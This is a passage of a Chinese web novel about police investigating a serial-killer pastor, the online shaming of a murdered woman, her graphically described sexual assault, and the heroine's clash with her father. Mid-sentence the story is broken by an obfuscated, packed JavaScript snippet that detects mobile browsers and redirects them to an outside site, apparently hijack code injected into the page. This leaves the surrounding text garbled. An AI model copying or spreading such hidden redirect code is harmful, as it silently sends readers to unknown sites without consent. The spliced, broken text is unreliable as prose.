菜单传递出去很快点完单,姜不招开始拆一次性碗筷烫碗,烫完很丝滑地挪给了边上的池千雪,再继续给自己烫,另一边挨着的江望看着,暗道新队长好细心这也太客气了,同时等着人将这一副递给自己,结果姜不招再没动作了。 姜不招还奇怪地看着他伸出一半的手问:“你要什么吗?”他看桌上,“要纸巾是吧?给。”长臂一伸将桌那头的纸拎过来。 一桌子人都在低头看手机,江望自觉还不算太尴尬,默默抽出一张纸,认了:“……谢谢姜队。” 第一批烤串上桌,油滋滋的冒着诱人香气,疲累饥饿的众人顾不得客气了,纷纷出手对准了心头好,姜不招给池千雪抓了一把各种各样的,看着对方有点懵的眼神,他爽朗一笑:“你先吃着。” 他没谈过恋爱更别提追求,拿捏不住私下相处的分寸,也只能先凭着心意摸索着来,对方不抗拒的就是可以,对方觉得不合适的就再改正。 池千雪愣愣地咬了一口羊肉串,混沌的情绪瞬间被破开,眼睛蹭得一下被点亮:“嗯,这个好吃这个好好吃!”孜然粉辣椒粉包裹着咸淡正好肥瘦相间的羊肉,一口下去肉似乎可以在口腔里跳动而后融化,她从来没吃过!!! 来上第二盘的老纪听到,笑得 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代福音擦擦小嘴扶了扶眼镜,率先道:“西门牧师那个案子的细节,网上越扒越多了。”她有些生气,并且越看越生气,“有些人说话也太过分了!” 江望选了八爪鱼打开,不用找,热搜第一条就是,同时他不屑道:“那种人还叫他牧师干嘛,下地狱都不够惩罚他的了!” 池千雪则刷着评论,接着念出声来:“西门牧师是在进行一桩伟大的事业,他为人类清除了罪恶肮脏本身,他最多只需要为吓到普通人道个歉。” 她在现场看到的那个故事里,关于事发后社会反响中印象最深的,就是这句话。 因为它被各种复制刷屏了。 并不经常刷互联网的姜不招左右看看,得,他还得先更新软件。 几人就此无脑言论议论了一会后,渐渐的没人说话了,网上竟然出现了受害者陈惠的平生经历以及身份信息等隐私,别的受害者警方自己都还在核对确认,网友还不至于如此神通广大,但是昨夜引发这一切的酒吧街女尸案,却是有人拍到过的。 陈惠被从头到脚挖出来了,并且遭到了铺天盖地的言语侮辱,家乡的人包括不肯来认尸的亲人也扎推跳出来作证。 就此,一个少年时期叛逆辍学,嫁人后又离家出走不负责任,到云都后更是贪慕虚荣自甘堕落下贱无比的形象跃然网上,像一幅本就不够好看的画,如今被网友们左一笔又一笔添得彻底面目全非。 她开不了口,即便可以,也赢不了这众口铄金,死得好活该被杀等内容随处可见,一些或对或不对的模糊照片也开始流转,像一场公开审判的狂欢,他们忽略掉真正的凶手,却对已经死掉的人反复下刀。 一切只因为,陈惠不是一个完美受害者。 虽然公共关系科那边已经在处理了,但舆论这事从古至今都不能急,不能被牵着鼻子走,也不能压得太狠容易遭到反噬。 “其实,陈惠的心,比很多人都干净。”池千雪放下手机,看着陈惠被人爆料出来的全身照,叹了口气。 根据西门的证词可以知道,陈惠经常向牧师忏悔。 像钢筋丛林中一只迷途的羔羊,她在无人时小心翼翼踏进神圣殿堂,匍匐在上帝脚下祈求宽恕,向神的使者流泪忏悔。 忏悔她身在泥潭却无法解脱,是一种极度的无能,她也祈祷命运能给她一个转机,能助她一臂之力,因为只靠自己,似乎永远翻不了身。 西门痛恨她们,迷恋她们,真心想要帮助她们,改变她们,直至最后杀了她们,收藏她们。 可为什么是陈惠呢? 云都有着数不清的迷失了方向与自我的灵魂,而常驻云都的西门不会频繁出手,那么非要的话,为什么选择了陈惠? 连环杀手是需要触发点的,西门却绝口不回,并且神态上表现得很是生气,似乎是陈惠在本就错误的人生上,没有听他的变好就算了,竟然又犯了一个更严重的错误,所以最终迎来他的惩罚。 当时审讯室里的所有人,都是这样感觉的。 可网上都将人扒得这么干净了,甚至都无中生有编造传谣了,却偏偏没有关于这个“错误”的讯息出现。 淡黄色的啤酒倒入一次性杯中,姜不招看大家气势低迷,主动提了一个:“来,我敬大家!” 池千雪也提起精神,差点就忘了今晚的主题,她应该先带头的:“我们敬你才对,欢迎姜队长加入二队!敬你!”她在柠檬水和啤酒间犹豫了一秒,选择了啤酒,哎呀,今天绝对不会再醉啦! 姜不招看她一眼接着道:“定个量,啤酒每人最多两瓶。” 池千雪觉得自己被针对了。 姜不招举高了杯子,心想不知道二队原来的规矩是什么,但看江望熟门熟路搬出一箱酒,还是把话说前头比较好,至于看池千雪那一眼,嗯,他心脏,看见酒跑神了片刻。 “行行行!”江望恢复了嗷嗷叫,真的很像头总是徘徊在不受控边缘的二哈,又吵又闹,气氛却为之一变,整个活泛起来。 “干杯干杯!以后我们二队也是有老大罩着的了——诶诶诶,呸!” “曹叔别捂我嘴啊,我没讲完呢,长官你是老大的老大!” 池千雪咯吱笑:“都干啦都干啦!一切尽在不言中,都在酒里了!”嘿嘿,终于有机会说这种台词了! 她仰头一饮而尽,这样全新的长官,令在座所有人拍桌叫好起来。 老纪夫妻俩这时端了一大盆水煮鱼片上桌,除了江望和曹空城是老客,其他人都是生面孔,他便像之前一样也介绍了一下:“我老婆三川人,这道水煮鱼做得最正宗,特意调得香辣又不会太辣,各位尝尝哈!” 油汪汪红通通白嫩嫩的水煮鱼片,只看过没吃过的名菜!池千雪伸出筷子到半空,突然有个声音插进来:“哇,美女真的是你,好巧哦!” 池千雪回头,桌旁站着三男一女,花衬衫或者宽大T,黑人辫子头或者绑头巾,是昨晚有过一面之缘的嘻哈人,装扮得花里胡哨的四人正朝着她挥手sayhi呢。 几人不等池千雪回应,接着就对桌上众人道:“大家好啊,打扰了啊,我们就是和美女打个招呼,那个,我们就在对面耍嘛,看到好像是你就过来了!”后半句又是看着池千雪说的。 这一看,为首那人指着池千雪放在桌面的手机道:“咦?你们也在看这个案子?” 手机屏幕中,正是网友扒出来的陈惠在夜场上班时的全身照,又被池千雪点开占满了整个屏幕,是以一眼就能看清。 池千雪只是点点头,并不想和他们聊陈惠,也以为这只是互联网人的一种普通巧合,谁知三人中那个女生却郁闷着脱口而出: “根本不像网上说的那么夸张噻,这个Lucy只是干了这一行,又不代表她是坏人,我有次喝多吐了,卫生间里还是她帮了我一把的,谁知后来她发生那件事,我——” 因为玩嘻哈,受过不少异样目光的看待,是以女生更能理解陈惠的某一些处境,加之想起那件事,在这风口浪尖上,一下就崩不住情绪,差点说了出来。 她正要模糊过去,男伴也正找老板要杯子敬酒,说再见是缘得走一个,还嚷嚷着他来买单,桌上六人却顾不得什么客气拉扯了,池千雪起身抓住女孩的手:“她发生那件事?哪件事?” 女生以为她是好奇八卦,心里不由地有些不舒服,人都去了,还要吃瓜吗?是她看走眼了,原来女神也就是个俗人而已:“哎,也没什么啦!人都去了,就不要讲人家了噻。” 姜不招拿出了警官证:“朋友,帮个忙,说说吧。”老纪刚好给rapper们拿了杯子,闻言也不插话了,默默搬了几条凳,转身准备送警官们一盘烤串,这个点才吃饭,吃一半还要加班,真是辛苦了…… 四位rapper也终于回神,相互对视之后,一改酷飒风貌,像小学生一样僵硬端正地分好凳子在边上坐下了。 为首的男生Ice直言道:“这事我不好说,安娜说吧。” 安娜朝他翻了个白眼,给自己倒了满满一杯酒,壮胆一般喝完后道: “好吧,我说就我说,就上个月,我们录完节目出来耍嘛,那天酒吧街出了件事情……啧,不行,我理理怎么说好,哎,光是想想,我都好难受。” 她咬牙切齿,无视在座所有男性,真心实意骂道: “世上为什么要有男人这种生物!!!” 6. 折翼天使 “……事情就是这样了。” 安娜说完,低头扭着手指头,迟来的不安心虚席卷全身,她解释:“我站在外围,都没挤进去,我不是不想帮她!” 而且说真的,他们是从外地过来录节目的,最多也就在这待几个月时间而已,人生地不熟的,也不好惹麻烦。 这很不hiphop,很不酷,她知道,可是后悔也晚了。 “哎,算了算了,警官,不管怎么样,我们没犯法,对不对?也照实说了,更多的,我们也不太清楚了……”安娜的同伴之一接话道。 池千雪听了,却一时不知道该给什么反应好,角落这桌死寂一片,老纪听了一耳朵,都不敢过来上菜,他们大概也不想吃了? 姜不招站起身打破僵局:“谢谢你们的告知,留个联系电话吧,案子是一定要办的,看到时有没有需要,再联系。” 谁都没心情多说了,四人留下一个号码,欲言又止一会,还是转身回去街对面了。 满面油光身材丰腴的厨娘,也就是老纪老婆这时候从门后出来了,她拿了块干净抹布擦擦手到了池千雪跟前: “客人,我看看你们说的那人长啥子样,行不?”她进出两趟,第一次听到一句陈惠是三川省的,第二次就听到人发生这么个事,她就好奇想看看。 人潜意识里的直觉,一直是科学未解之谜,方妹宁愿将高峰期的厨房暂时丢给帮厨,也如愿看到了陈惠的照片。 她眯起眼皱着眉仔细辨认着,嘴里无声念叨着什么,某一时刻,她眉毛提得高高的,像是终于确认了什么。 她粗糙短胖的手抖啊抖,不停在围裙上摩擦来摩擦去,颤着声音: “造孽啊,造孽啊,这娃儿我真认识,小惠嘛,我很久以前在老家一个初中对面开饭馆的嘛,是跟到儿子读书才来云都的,那时候这个学生娃想来打工,讲给点零花钱能买个女娃儿要用的东西就行......” “我不敢应嘛,就送了点超市用的吃的给她,后头就没见过她了,高中在镇上另一头,又过了好多年?我回去过年时候,她家里头人在镇上到处找人,讲是跑掉了。” “跑掉好嘛,她家里头人太过分了,都不是啥子好人,跑掉好嘛,啷个又这样子结局嘛!”方妹想不通,越讲越难受,捶了好几下胸口顺气,老纪看这样不行,将人拉走安慰了,他并不知道这段往事,两人是二婚。 …… “这操蛋的世界!” 江望仰头灌酒,曹空城抢下酒瓶子:“酒是什么好东西吗?喝这么急!” 江望又去摸烟,曹空城便夺下那根烟往地上一踩。 江望哭丧着脸:“叔,我难受啊!我,我一开始还把人想得那么差劲!我不知道她经历过这些!” 池千雪看他:“不管她差不差劲,受害者就是受害者,你本来就不应该对她的私生活进行道德审判!” 话里是带着点火气的,却不是主要针对江望的,大家都不好受。 步青云不复淡定,腿跟在桌下点个不停,代福音默默在哭,池千雪给她递纸巾,递完她转头看姜不招:“吃吧,吃饱了我们回局里,提审西门问问清楚,属实的话,再讨论看怎么办。” 姜不招坐下,也是一杯酒下肚,吐出那口很郁闷的浊气后应她:“好。” 池千雪低头很专心吃鱼,因为很辣,所以吸了吸鼻子,咽下所有想哭的感觉。 吃饱了,她会更有勇气面对真实世界吧。 . 回去分局的路上,大家都很沉默。 池千雪和姜不招并肩走在最后,渐渐和前面几人拉开了距离。 “我一开始,觉得一切我没接触过的,都很有意思,包括昨晚。” 池千雪仰头看姜不招,飘散的棕发飞在额前鬓边,经过眼睛时,发现眼睛红了。 姜不招本来正静静等她下文,现在却慌了,手追着头发到脸颊一侧,想擦,泪意被主人收回去,他很自然收回手,而后在身侧攥紧,隐隐预感到了池千雪要说什么。 “我没想过背后的风险和伤害,尤其我为了满足自己的好奇心,影响到了你的生活甚至可能是人生轨迹。” “如果再不见面就算了,偏偏我们还要一起共事,一天了,我都没有找到机会回答你,我,我现在必须直白告诉你,我暂时不会谈恋爱的,也真的不要你为我负责。” 责任总是和沉重挂钩,世上对男人的定义,也多是巴不得不用负责,成年男女一夜/之欢,醒来后各奔东西,提责任二字本就扫兴。 可是,他不要这样。 “那请你对我负责呢?” 市井灯火中,拥挤人潮里,姜不招向池千雪逼近一步。 还是那样坚定的神情,目光中蕴含了某种一触即发的风暴,滚烫炙热的呼吸近到缠绕在一起,两人额头鼻尖生出汗意,荷尔蒙素令人心头发紧口干舌燥。 他们确实相互吸引,像正负两块磁铁。 池千雪有些晕眩,她结结巴巴:“什,什么?对你负责?” 姜不招点头:“是啊,你无所谓,可——”他俯身凑到池千雪耳边继续,“可,那是我的第一次啊。” 好无赖啊!谁又不是呢!池千雪的耳朵被热气点燃着火发红,她急忙后退瞪大了眼睛,心慌极了! 姜不招不放过她:“你没关系,可是我有关系,你应该对我负责。” 他是认真的!如果她不负责,岂不是成了吃干抹净不负责的大渣女?! 不不不,这事再说吧!于是池千雪转身就跑! 她很快追上前方四人,身后跟上的姜不招勾起唇角,笑了。 脸皮不厚是追不到人的,只要对方不是真的抗拒自己,这条方针,他要坚定执行了。 . 红色超跑飞驰在宽阔的城市道路上,掠过东城区密密麻麻的楼盘房屋,驶入高楼林立寸土寸金的中心城区,停在某个红灯时,对面高楼墙上的明星3D投影正被放大,俊朗的影帝笑得温柔宠溺,他伸出手,似乎要握住路过的每一个人。 池千雪只扫了一眼,油门一踩投入绿灯和下一段路途。 车内没有音乐,只有打开车窗后呼呼的风声,世界的参差如此巨大,她一直活在处于云端的阶层,比如刚刚那位知名影帝,她不认识,但只要她想,就大概率可以让对方赴会,甚至要求更多,有一天她坠落地面,别人也会毫不留情踩着她过去。 不久前回到局里,他们立刻提审了西门,西门没有什么不能认的,他补充了更多细节,整个事件逐渐完整,他说: “Lucy陈是个无药可救的人,我帮助她解脱了。” 他的自信虽然病态,却正好和网上众多言论背后的思想一致了。 普通人认为小姐就该死?特权阶层拿捏一个普通人也很正常?这个世界某些摆在台面上的观点,真的令池千雪极度不适。 她得做点什么! 回到庄园,匆匆和张管家聊了几句,她没有去游泳,而是进了书房到处找资料,大部头理论书等来不及看,她翻出一本原主自制的笔记《疑难刑事案件整合》来看,她需要切实的方法,将陈惠的案子办了! 书房的灯亮了一夜,池千雪熬到了凌晨,趴在桌上睡了过去,做了一场荒诞混乱的恶梦。 . 7月的一个夜晚。 陈惠从城中村打车去了嘉年华的街对面。 下到马路边走过人行道,踏上几级台阶,进入集合了各种酒吧的建筑物入口。 走过横宽三四米左右,长有数百米的大理石地面,路过两旁几家挨挤一起的主题酒吧,无视那些一瓶啤酒能坐一晚,或看球赛或等着猎物倒贴的老外们投来的目光,经过中段的公厕,和保洁大姐打了个招呼,下一家就是目的地了。 陈惠到了King酒吧,她在酒吧前门一侧站定,轻车熟路点了根万宝路,等着约了她的老客过来。 红裙包裹在正常色号的肌肤上,和红发一起映衬得她比平常更白,鞋跟没有很高,因为客人一般都长得不高,她要不就别超,要不就高很多像个真模特,只高一点对方就不是很喜欢,呵,人都挺奇怪的。 烟雾飘渺中,她抽烟的样子并不好看。 眉头会习惯性皱起来,两个腮帮子缩进去颧骨孤悬,深吸一口后烟从鼻孔嘴巴一起出来,像会喷气的某种动物,而不是什么美人,一根抽完,她等得百无聊赖的,过会就再点一根,也不怕口臭,酒一喝,大家的口腔最后都发酵成同一股味道。 陈惠一年里有将近三百天都是在嘉年华坐台,从最初进了一个又一个包厢等着被选或是被退,到后来有了许多熟客,不用试就有着落,也算是一种进步了?同行都戏称她是个劳模,后来经理还真印了张奖状发她,真是,操他大爷的,什么好词都拿来玩坏。 只是她会有腻烦的时候,客人也会,于是他们偶尔就会约在酒吧,小费照给还不用被抽成,要是玩的那桌当晚酒水消费得厉害,酒吧经理还会发个红包给她,她做了几年了,竟也觉得这样的日子挺安稳的。 黑夜、灯光、音乐、酒精、舞动,看不见对面人的皮肤毛孔,却能看清人的原始欲望……她得承认,这一切反而让她有安全感。 真的拉她到青天白日下,她受不了的,何况她不像别的同行,还幻想着拿钱上岸找个老实人嫁了,先不说老实人未必老实,真老实的又做错了什么呢? 反正她不想结婚不想恋爱,其实也没那么想要钱——只是活着必须有罢了。 她本来就只想活一天是一天,将自己内心对美好的向往,对人生意义的那些思考,对自己人格的厌恶自省,将这些与实际完全矛盾的东西压下去藏起来,直到不得不面对那天再说。 不过后来,她有了固定可以倾诉的地方后,心态确实发生了微妙的变化,她想攒点钱,换个正向点的事业,所以今晚的客人习惯过夜手段也粗暴,但因为出手大方,她还是应了。 正想着,人来了。 都是中等个子、理着平头、肤色黄黑、四五十岁,方形脸圆脸菱形脸(陈惠喜欢这样记人)。 他们穿着领子颜色大同小异的Polo衫搭配西裤皮鞋,夹个手包或提个公文包。 这也是商务男,为自己商务出差的男人,写字楼里的精英帅哥,陈惠没机会见也难以想象,她见到的几乎都是这类人群,有时甚至会生出亲切感。 几人其实和这个场合有些格格不入,但他们很自信很从容,有钱,就是底气。 “Lucy啊,几天不见更漂亮了啊,呵呵,今天带了几个新朋友,帮哥好好照应!必须要让大家玩得开心啊!”这个同样姓陈的陈总搂住抽完烟的陈惠,压低了声音问她,“我让你叫几个小姐妹,等下装巧合来玩,叫了没?” 见陈惠点头,他顺口带了一句:“妈的KTV玩腻了要来酒吧换口味,又不肯落下叫小姐的话柄,要不是为了订单……”意识到说多了,他笑着点点陈惠鼻尖,“乖,你最懂事了。” 几人走进了King,此时大概九点,酒吧有人,但还是冷清了些,卡座更是只坐了他们一桌,几人就着果盘洋酒吃喝一会就感到无聊了,陈总拍陈惠屁股示意她快上,女孩们还没来,她只能在几人间拼命周全。 给这人递纸,给那人擦嘴角,和这个玩骰子,腰却被另一个搂着,间或被拉起来摇摆几下,都是早年间的老土跳法,腿不动屈膝盖,扭腰摆头左右甩手。 喝酒,不停喝酒,这几个人玩游戏意外得厉害,陈惠总是输,输到受不了时,酒吧热闹起来,女孩们也到场了。 之后就是正常的玩乐喝酒,陈惠本来不该醉的。 可是她之前喝了太多,再加上平常的量,这一超,她出现了久违的醉酒反应,她果断去公厕那扣嗓子,吐干净了清醒些了又回去继续喝,单子还没谈定,她敢走就会失去陈总这个大方老客。 直到十二点时,她猛然从卡座中惊醒,听着满耳朵震耳欲聋的音乐,反应过来她醉得睡过去了! 转头,身边陈总搂着个生面孔,没见过不是她叫的,看着很年轻应该都没有成年,女孩搂着陈总在他耳边大喊:“那我要ysl家包包!”已经是商量到了一半。 见她醒,陈总笑呵呵的,却是提了瓶刚上的马爹利蓝带XO:“不许加饮料,就这么喝。” 他说得很大声,音乐又刚好进入柔和过渡那段,卡座甚至隔壁卡座的人全都看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14738990|157447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来,盯着陈惠,看她敢不敢喝,喝完又是怎样的狼狈相。 这是一瓶烈酒,更大概率是一瓶假酒,专门在人醉得差不多时,哄着客人买单上桌,还美其名曰能存,陈惠深谙其中套路,她不想喝。 那一刻不知道因为什么,她挂脸了,然后才是僵硬笑着找补求饶,陈总不笑了,掏出一捆万元现金和酒一起推过来,那张方脸沉下来显出了凶相,手指点点台面,让她看着办。 陈惠闭了闭眼,她到底为什么觉得这种生活可以被习惯?真贱啊!想了想,是因为她没办法回到白天了,因为肉/体灵魂已经腐烂了一半,爬上去也不得好死,她伸出手,先放好现金,再抓起酒,视死如归。 舞曲重新出发,浩浩荡荡涌入耳中,其余感官都消失,她磕磕绊绊痛苦喝到一半,一只手制止了她,服务生凑很近喊:“别喝了Lucy,你客人都走了!” 卡座果然只剩陈惠一人,她瘫了好一会,背好小包爬出卡座,然后扶着栏杆站起来适应片刻,再跌跌撞撞往外走,披散的红发垂荡,乱得她头晕想吐,膀胱也很胀,她得去趟洗手间。 公厕男女分开,入口直对面是男厕,右手边是女厕,入口左手边则是个公用洗手池区域,墙上镶嵌了很大一面镜子。 陈惠呆呆看着,终于想起一直以来的熟悉感来自于哪,她当初从家乡逃出来,小镇客运中心的公厕洗手池那,也是镶嵌了这么大一面镜子,她那会太紧张不停跑厕所,没有手机手表又怕错过开车,最后一趟甚至紧张吐了。 就吐在镜子下洗手池里,被打扫的阿姨好一通责骂。 “呕,呕——” 天旋地转,此刻的陈惠重蹈覆辙,又吐进了洗手池中,今晚吐得太多,这次脸上毛细血管再也承受不住,爆裂出满脸的小血点,昂贵持久无暇的粉底,也只能勉勉强强盖住一点。 “啊啊啊好恶心啊,有没有搞错啊吐这里!” “阿姨,大姐!打扫的人去哪啦!” “肯定要堵上了,不行,我一看也想吐,我不排了我先走!” “我也是我也是,真受不了啊!” 排了长队的女生转瞬间逃离大半,陈惠被人流裹挟着撞着推着进了男厕,她傻呵呵地笑,脑子是空的,对空间对距离全都失去了正确测量,只知道尿急,就下意识摸索着进了男厕右手边第一个隔间。 没关门,她像在家时那样,凭着本能掀起红裙子脱内/裤坐下了,淅淅沥沥的声音停止后,她还呆坐在那,明明睁着眼睛,脑海却完全空白,大脑不下命令,肢体只能停工在那。 有人说话,有人惊呼,有人进来了,隔间门被关上。 接着不断有人进来,连门都不关了,而是大大地敞开着,红裙子被撕开丢掉,装着手机一万块现金房门钥匙这些的小包被不知道谁顺走。 陈惠赤条条的,像砧板上五花三层的猪肉被翻来覆去,她期间也清醒过几分,眼神变化时,她的脸正被按在马桶盖上,膝盖跪在冰冷的地上,男人看不到她的脸,脸也不重要,两人完全是犬狗交/配的模样。 意识到这一点,陈惠却连尖叫也不能,头脸被使劲按着,努力张开嘴先流出的是口水。 她是人吗?她还能算是个人吗?那里和膝盖都是针扎一样刺痛,牲畜被宰杀前,主人尚且会选择利索的手段,她到底身怀多少罪孽,竟要面对这无边绝望和痛苦。 陈惠选择闭上眼,不相信这是真的。 不同于她从傻子丈夫手中拼死反抗的上一次,这一次,她没有逃,因为无路可逃了。 男厕排起了长队,窃窃私语挤眉弄眼间,男性达成了某种默契的共识。 面对女厕那边的疑惑他们一声不吭,面对非要越进来看什么情况的哥们,他们指指队尾示意排队,即便有人无法接受或者临时后悔退出,也没有一个,没有一个人选择报警,或者至少告诉酒吧街管理办公室的人员。 一个群体,无声完成了一场,自认为法不责众的犯罪,之后拍下照片或视频收藏进手机,等天一大亮又是一个社会好青年。 还是保洁大姐回来,意识到不对劲,她直接冲进男厕,很快挥舞起拖把,又打又骂:“畜生,你们这些娃儿不是个人,都是畜生,畜生都不如!” 事件因此也曝光在女客之中,但也就是这样了。 大姐觉得不应该报警,熟悉的经理服务生不见踪影,管理办公室的人员指着男厕间找不到衣物遮盖的陈惠倒打一耙:“就是你这种社会毒瘤,瞎搞胡搞,接客接到这种地步,你该死啊!你滚滚滚!以后不允许再来……” 怎么回家去的呢? 好像是有个女生脱了上衣过来,说自己穿的运动内衣可以外穿没事的,也是一个女生扯来她所在酒吧的一张台布裹紧陈惠,上衣被还给前一位女生,接着保洁大姐送了陈惠回去又喊开了房东给钥匙,但一路上没有说过话,后来也没再见过。 之后就没了,石子打进河里,动静都要比这大,当晚聚集起来要帮陈惠讨说法的女生,介于她小姐的身份,迟疑了,退步了,回家了。 陈惠停工了半个多月,养伤染发做计划——她想开一间小的美甲店。 接着她向西门牧师诉说了这件事,这次她反而没有忏悔,说完了,她就将其隔离出去,像手机角落永远不会点开用的某个软件,只占用着丁点的内存,在,但不影响什么。 她得活啊,哪怕是泥里的蚰蜒蚯蚓,是朝生暮死的蜉蝣,都在争着活,她得活啊! 陈惠复工没几天的一个夜晚,她依照周日见面时西门牧师的交待,于九点左右出现在福田西街那条后巷。 西门牧师对她说,要送她一个礼物,请她依约出现并且保密,因为这是对陈惠的偏爱,不能被他人知晓。 陈惠很期待,她靠在路灯下的阴影里,抬头看见一袭黑袍的西门牧师踏着光影而来,帽檐下露出的下半张脸,那么坚毅那么立体那么干净,她一眼就认出来了。 礼物是一尊耶酥像,被挥舞着大力地送了过来。 身体被捣穿,血液四处流淌,陈惠死了,好在还有下一世可以重来。 可以的吧,真的可以吗? 不管怎样,她还是想活。 7. 全力以赴 8月19日,天晴,微风。 清澈见底的空中泳池里,池千雪猛一下冒出头,吐气出来后,她如鱼儿翻身肚皮朝上,浮在水面看着清晨泛蓝的天空。 她做了场噩梦,内容已经开始变得模糊,但依然可以确定是关于陈惠的。 梦境遗留下的痛苦情绪拉扯着她,导致她的身心都有些疲累提不起劲,于是决定运动锻炼,接着就发现这具身体非常非常好用,像负重惯了的人除掉了械具人都轻飘了,又像一直轻飘的人被吹了口气,鼓鼓的生出重量力量能落地生根了。 很爽,很畅快。 从泳池出来,再到收拾好自己坐进餐厅里,她原本空空的什么都没在想的脑袋,终于开始工作了,和池父吃饭像一个工作,她必须打起精神。 池达放下报纸,用了几口早餐,像往常般问:“工作方面还顺利吗?昨天的案子动静不小啊,好好把握,一定要抓在手里,别交出去了……” “工作还可以,好的,好的……” 池千雪觉得池父像个走固定情节的NPC,因为流程的僵硬雷同,难免显得人物没有灵魂,她便也中规中矩地应答着。 接着很巧的,池达连走了两个新剧情。 “等下我推送你一张名片,你加一下,是你陈叔叔家留学回来的长子,聊一聊见一见,你24岁了,即便不着急结婚,也应该开始接触一下,差不多就定下,优秀的青年不多,强强联合才是聪明的选择,明白吗?” 这是个新话题啊,说这些话的时候,他一直看着池千雪,浅浅笑着,好一个用心良苦的慈父形象。 池千雪社会经验约等于零,但就像瞎了的人耳朵就灵一样,她也有着小动物般灵敏的直觉,她不舒服,她觉得对方说的固然算个世俗公认的道理,但凡事以利弊衡量总归少了些温情,何况对方根本目的,是为了结个他想要的亲家吧。 她放下筷子,扯了扯嘴角笑得略微僵硬,倒是凑巧符合了原主的性子: “爸,您说的有道理,但我还不太着急——不,我是不愿意,目前工作上需要学习的有很多,我只能先专注于一件事,感情方面过后我会考虑的。”从迟疑到斩钉截铁,池千雪最终坚持了自己的本心。 池达楞了楞,这件事对他来说,也是陌生的新话题,所以他当下没有着急,也没有强求,或者说,他无暇顾及,因为还有件更重要的事情。 “好吧,这件事就先放下。” 他面色不变,表现出了十足的包容,接着道: “吃完饭,你给萧律打个电话,让他安排开3亿支票过来,爸爸要用。”他语气一如既往的温和从容,还有……理所当然。 这可是3个亿,不是3000万300万!原主之前帮助池父竞选市长都没用上这么多。 调动出记忆后,池千雪惊讶地看着池父,她名下是有大几百个亿资产没错,这都继承于外婆那一脉,由池母在生前安排给了她,但有钱也不是这样用的。 “这一次要这么大一笔,是发生了什么事情吗?” 也许原主会像过去转无数次钱时那样,从不过问,但如今池千雪必须要问为什么。 池达并未奇怪,毕竟这次金额确实大了点,他道:“要买栋房给你爷爷奶奶住,他们郊外那套生了白蚁,要封闭好一段时间,想来你也不习惯和爷爷奶奶一起住,那就再买一套,也是个正资产。” 其实是因为儿子过生日那天,被小同学刺激得吵着要和对方一样住大别墅,他没办法安排进云泽,也不好直接用女儿名下的房产,那至少比小同学家大的普通别墅还是可以买一个的,原来的大平层离市政大楼很近,就留给他备用。 而在池千雪眼中—— 池父说是这样说,听着理由也过得去,但精明如他,理所当然如他,却没有看着池千雪,而是边夹盘中餐边随意道来。 太随意就刻意了。 池千雪发出灵魂一问:“那记谁的名呢?” 池达放下了筷子,抬头,惊讶目光从镜片里射出,他问:“你到底怎么了?” 池千雪沉默一会后道:“没什么,近来发现,普通人的生活真的好难好难,让我意识到钱的来之不易——” 池父竟是没了涵养,直接打断道:“小雪,你这心态却是错了,家里的钱多到成了数字而已,与来之不易毫无关系,只我们对话的几分钟,那多个投资账户的净收入可能就是几百万,更不要提流动的总数额有多巨大。” “普通人的生活与你无关,女儿,过好自己的生活即可,其他的,爸爸本来就在努力。” 是了,无耻无情自私自利,这才是池市长的真面目,池千雪看得比原主清楚太多,毕竟她不持有亲父滤镜。 再者说,真的要为家里购置资产,或者直白说想送房给老人,都完全可以交给她的财富管理团队去办,何必要安排转账或现金支票?一旦用赠与的方式,那这钱最终用来做什么怎么做,可就不关她池千雪的事了。 “我今天有很多工作,先到这吧,爸,让爷爷奶奶住叔叔家吧,妈妈不是给叔叔也买了一套别墅吗?偶尔的相聚,不是很好吗?” 池千雪笑得无懈可击,优雅地擦了擦嘴角,起身出去,路过张管家时对上她担心的眼神,她安抚得笑了笑,出门了,才暗吐一口气。 演戏好累的!她复盘了一下过程,嗯,如今她倒是不害怕被发现她非她了,因为池父对他女儿的内心世界根本毫不关心全无了解。 而背后,池父沉了脸,他能当慈父,从来都是因为原主是个听话的大孝女。 可池千雪不是。 . “不管怎样,我还是想查,我一定要查的!” 池千雪站在沈确办公室内,两手在身侧攥成拳头,神情倔强,狐狸眼没有丝毫笑意,反而呈现出将要捕猎般的攻击性,只因为沈确一听陈惠案始末,便脱口而出道“暂时不行”。 不行什么不行,池千雪不甘心,一定要行。 “西门的案子这么大,连刚喘口气的一队都得来帮忙——当然头功肯定是你和二队的,总之,这种时候,你要申请尽可能多的人手去查陈惠案?我先不和你说难度,光说人手就不行,就没有!” 沈确意识到自己语气太硬,终是缓了缓继续劝:“凡事有轻重缓急,等西门案结束,当独立案件去查。” “可是,这明明是西门杀人的主要动机之一,为什么不能并案处理?”池千雪拧紧了眉头。 沈确叹口气,他没想到池千雪竟然这么坚持,也不得不把话说得更明白些了: “这次让各区包括总局将类似案件汇总后,才发现云都每年死亡了这么多底层女性。” “不论是否与西门有关,这都说明了警方的不重视不作为,已经有国家级媒体犀利三连发问了,这时候,你再弄一件群体案件出来,还和当前最有热度的西门案有关,你是嫌网上不够爆炸,舆论还不够热闹吗?” 沈确的眉头也拧得死紧,舆论这块确实是个难题,公共关系科搞不定就来搞他,是以他想起来就头疼,阴谋论满天飞,网上分了好几派吵得昏天黑地,但不管哪派,一对上官方就立刻统一立场,开骂! “只是让你推迟另案处理,不是不给你办,懂吗?再说,这种案子很难找到铁证的,甚至未必能办下来,还要被家属咬块肉下来,池师妹,你要做好打持久战的准备,急不得的。” 两人毕业于同所警校,只不过差了好几届之前根本不认识,可见为了说服对方,沈确真是硬的软的都来啊。 池千雪沉默,抿了抿唇妥协道:“可以另案处理,但不可以推迟,我也不要人手了,我自己想办法。” “你——算了我不管了,你自己看着办,别拉上你队员,西门案办好了是能论功发奖金的,一个隐藏伪装极好的连环杀人犯,被你们二队发现了立案了飞速找到证据破案了,都做到这个地步了,必须有始有终。” “你不在乎钱,别人还得生活。” 